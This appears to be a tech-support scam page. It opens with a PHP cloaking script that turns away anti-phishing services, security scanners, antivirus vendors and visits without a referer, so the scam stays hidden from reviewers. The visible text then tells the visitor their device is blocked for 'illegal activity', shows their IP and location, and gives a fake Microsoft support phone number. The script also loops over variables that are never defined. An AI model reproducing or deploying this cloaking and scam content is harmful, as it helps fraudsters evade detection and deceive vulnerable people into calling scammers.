false, // Block IPv6 traffic 'block_no_isp' => false, // Block users without ISP 'block_no_referer' => true, // Block users without referer 'limit_clicks_per_ip' => true, // Limit clicks per IP 'max_clicks_per_day' => 3, // Max clicks per IP per day 'check_ip_blacklist' => false // Enable IP blacklist checking ]; // Allowed and Blocked Bots $allowed_agents = [ 'googlebot', 'Googlebot-Image', 'Googlebot-News', 'Googlebot-Mobile', 'google', // Google 'bingbot', 'bingpreview', 'Slurp', 'bing', 'bingmobile', // Bing 'yandexbot', // Yandex 'adidxbot', // adidxbotbing 'baiduspider', // Baidu 'duckduckbot', // DuckDuckGo 'teoma', // Ask.com 'sogou', // Sogou 'seznam', // Seznam (Czech search engine) 'exalead', // Exalead 'mj12bot', // Majestic 'ahrefsbot', // Ahrefs 'semrushbot', // SEMrush 'dotbot', // Moz 'scooter', // Altavista 'yacybot', // YaCy 'bingbot', // Bing 'applebot', // Apple (for Siri and Spotlight) 'searchmetrics', // Searchmetrics 'diginomica', // DigitalOcean search 'psbot', // Pinterest Search Bot 'facebookexternalhit', // Facebook (not a general bot, but relevant for crawling links) 'slurp', // Yahoo Slurp 'baidu', // Baidu Spider 'googlebot-news', // Google News bot 'msnbot', // MSN 'gigabot', // Gigablast 'yandeximages', // Yandex Image Search 'yandexmobile', // Yandex Mobile Bot 'googlebot-adsbot', // Google Ads Bot 'webcrawler', // WebCrawler 'altavista', // Altavista 'AdsBot-Google-Mobile', // Voila.fr bot 'AdsBot-Google-Mobile', // Voila.fr bot 'AdsBot-Google', // Voila.fr bot 'Google-InspectionTool', // Voila.fr bot ]; // Define blocked User-Agents $blocked_agents = [ 'PhishFort', 'Phishtank', 'SafeBrowsing', 'Wget', 'Curl', 'Zscaler', 'Fiddler', 'Malware', 'Nmap', 'Nessus', 'Acunetix', 'OpenVAS', 'Nikto', 'Burp', 'Arachni', 'WebInspect', 'Qualys', 'SiteDigger', 'Headless', 'PhantomJS', 'puppeteer', 'selenium', 'sqlmap', 'Paros', 'BurpSuite', 'Metasploit', 'netsparker', 'Rapid7', 'OWASP-ZAP', 'ScanAlert', 'AppScan', 'Retina', 'Detectify', 'Sentry', 'Garm', 'Masscan', 'dirbuster', 'w3af', 'WhatWeb', 'Shodan', 'Censys', 'DataSpider', 'NetSparker', 'Botify', 'HTTrack', 'Scrapy', 'EmailCollector', 'EmailSiphon', 'EmailWolf', 'grabber', 'BadBot', 'BlackWidow', 'Zeus', 'BlowFish', 'Crawler', 'Xenu', 'Cloudflare', 'BitDefender', 'Kaspersky', 'Norton', 'Symantec', 'McAfee', 'TrendMicro', 'ESET', 'AVG', 'PaloAlto', 'Fortinet', 'Malwarebytes', 'Comodo', 'DrWeb', 'ClamAV', 'Snort', 'Suricata', 'ossec', 'CheckPoint', 'SecurityMetrics', 'quttera', 'VirusTotal', 'HybridAnalysis', 'ImmuniWeb', 'SecurityTrails', 'CybelAngel', 'webvulnscan', 'webscan', 'aiodex', 'pingspider', 'httpdb', 'urlscan', 'linkchecker', 'recon-ng', 'smartscreen', 'shadowserver', 'packetstorm', 'defender' ]; // Get Visitor Data $user_agent = $_SERVER['HTTP_USER_AGENT']; $referer = $_SERVER['HTTP_REFERER'] ?? ''; $visitor_ip = $_SERVER['REMOTE_ADDR']; // Function to check IPv6 traffic function is_ipv6($ip) { return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; } // Function to check ISP using ipinfo.io function get_isp($ip) { $url = "https://ipinfo.io/{$ip}/json"; $response = @file_get_contents($url); if ($response) { $data = json_decode($response, true); return isset($data['org']) ? $data['org'] : null; } return null; } // Function to check if an IP is flagged using blackbox.ipinfo.app function check_ip_blacklist($ip) { $url = "https://blackbox.ipinfo.app/lookup/$ip"; $response = @file_get_contents($url); return ($response === 'Y') ? true : false; // Returns true if blacklisted } // Function to track number of clicks per IP function track_clicks($ip) { global $config; $file = 'clicks.json'; // Read file or initialize empty array $click_data = file_exists($file) ? json_decode(file_get_contents($file), true) : []; // Get current date $date = date('Y-m-d'); // Initialize IP data if not present if (!isset($click_data[$ip])) { $click_data[$ip] = ['date' => $date, 'count' => 1]; } else { // Reset count if a new day starts if ($click_data[$ip]['date'] !== $date) { $click_data[$ip] = ['date' => $date, 'count' => 1]; } else { $click_data[$ip]['count']++; } } // Save updated data file_put_contents($file, json_encode($click_data)); return $click_data[$ip]['count']; } // Check IPv6 and block if enabled if ($config['block_ipv6'] && is_ipv6($visitor_ip)) { header("HTTP/1.1 403 Forbidden"); echo "IPv6 Traffic Blocked"; exit(); } // Check ISP and block traffic without ISP if enabled if ($config['block_no_isp']) { $isp = get_isp($visitor_ip); if (!$isp) { header("HTTP/1.1 403 Forbidden"); echo "Traffic without ISP Blocked"; exit(); } } // Check for blocked bots foreach ($blocked_bots as $bot) { if (stripos($user_agent, $bot) !== false) { header("HTTP/1.1 403 Forbidden"); echo "Access Denied"; exit(); } } // Check for allowed bots $isAllowed = false; foreach ($allowed_bots as $bot) { if (stripos($user_agent, $bot) !== false) { $isAllowed = true; break; } } // Block direct visits without a referer if enabled if ($config['block_no_referer'] && empty($referer) && !$isAllowed) { header("HTTP/1.1 403 Forbidden"); echo "Access Denied"; exit(); } // Check if IP is blacklisted (if enabled) if ($config['check_ip_blacklist'] && check_ip_blacklist($visitor_ip)) { header("HTTP/1.1 403 Forbidden"); echo "Access Denied"; exit(); } // Limit clicks per IP if enabled if ($config['limit_clicks_per_ip']) { $clicks = track_clicks($visitor_ip); if ($clicks > $config['max_clicks_per_day']) { header("HTTP/1.1 429 Too Many Requests"); echo "Too Many Requests"; exit(); } } // Allow normal users to proceed ?>
Leave site?
Changes you made may not be saved.
X
IP Address:
City:
Region:
Longitude:
Latitude:
Your device has been blocked due to illegal activity by the State of
Contact Microsoft Windows Support: 1800 417 681